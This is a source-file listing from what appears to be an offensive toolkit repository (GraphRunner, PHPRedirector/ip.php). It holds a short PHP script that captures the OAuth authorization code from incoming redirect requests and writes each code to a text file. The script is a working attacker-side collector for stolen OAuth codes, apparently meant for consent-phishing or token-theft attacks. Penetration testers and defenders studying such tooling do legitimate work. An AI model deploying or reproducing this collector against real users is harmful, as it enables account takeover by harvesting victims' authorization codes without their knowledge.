Files
dafthack-GraphRunner/PHPRedirector/ip.php
T
2023-08-15 14:02:13 -04:00

10 lines
252 B
PHP

<?php
$requestUrl = $_SERVER['REQUEST_URI'];
$file = 'codes.txt';
$fp = fopen($file, 'a');
$trim = trim($requestUrl, "/?code=");
$oauthCode = strtok($trim, "&");
fwrite($fp, "OAuth Code:\n");
fwrite($fp, $oauthCode . "\n\n\n");
fclose($fp);
?>